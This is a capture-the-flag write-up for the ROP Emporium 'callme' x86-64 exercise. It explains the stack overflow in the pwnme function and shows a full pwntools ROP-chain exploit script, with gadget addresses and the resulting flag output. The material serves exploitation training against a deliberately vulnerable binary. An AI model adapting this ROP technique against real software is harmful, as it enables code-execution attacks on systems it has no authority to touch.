#rop
# callme x86-64
## Triage

Chain calls to multiple imported methods with specific arguments and see how the differences between 64 & 32 bit calling conventions affect your ROP chain.
### Disassembly
main function calls vulnerable call pwnme

pwnme function

## Vulnerability
In the pwnme function, 0x200 bytes are read into the user_input buff but the user_input buff is on the stack -0x28 (-40) bytes off from the return address.
If we supply 40 bytes, the next 4 bytes will overflow PART of the return address. Because this is a 64bit binary to overwrite all 8 bytes we need to send 8 bytes instead of 4.
Confirming the vulnerability:
```bash
python3 -c 'print("A"*40+"BBBB",end="")' | strace ./callme
```
```bash
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
+++ killed by SIGSEGV (core dumped) +++
[1] 3265988 done python3 -c 'print("A"*40+"BBBB",end="")' |
3265989 segmentation fault (core dumped) strace ./callme
```
## Exploit
Description says:
`To dispose of the need for any RE I'll tell you the following:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)`
In x86-64 the way to pass function parameters is through registers.
`RDI,RSI,RDX,RCX...`
We need gadgets that will pop our values off the stack into the correct register. We can find these gadgets with `ROPgadget` tool.
`pop_rdi = p64(0x00000000004009a3)# : pop rdi ; ret`
`pop_rsi_rdx = p64(0x000000000040093d)# : pop rsi ; pop rdx ; ret`
### Script
```python
from pwn import *
context.binary = elf = ELF("./callme")
pop_rdi = p64(0x00000000004009a3)# : pop rdi ; ret
pop_rsi_rdx = p64(0x000000000040093d)# : pop rsi ; pop rdx ; ret
payload = "A"*40
payload += pop_rdi
payload += p64(0xdeadbeefdeadbeef) # arg1
payload += pop_rsi_rdx
payload += p64(0xcafebabecafebabe) # arg2
payload += p64(0xd00df00dd00df00d) # arg3
payload += p64(elf.sym['callme_one'])
payload += pop_rdi
payload += p64(0xdeadbeefdeadbeef) # arg1
payload += pop_rsi_rdx
payload += p64(0xcafebabecafebabe) # arg2
payload += p64(0xd00df00dd00df00d) # arg3
payload += p64(elf.sym['callme_two'])
payload += pop_rdi
payload += p64(0xdeadbeefdeadbeef) # arg1
payload += pop_rsi_rdx
payload += p64(0xcafebabecafebabe) # arg2
payload += p64(0xd00df00dd00df00d) # arg3
payload += p64(elf.sym['callme_three'])
io = process("./callme")
io.sendline(payload)
io.interactive()
```
### Result
```bash
[*] '/home/chris/ctfs/ropemporium/callme/x64/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: '.'
[+] Starting local process './callme': pid 3266850
[*] Switching to interactive mode
[*] Process './callme' stopped with exit code 0 (pid 3266850)
callme by ROP Emporium
x86_64
Hope you read the instructions...
> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$
[*] Interrupted
```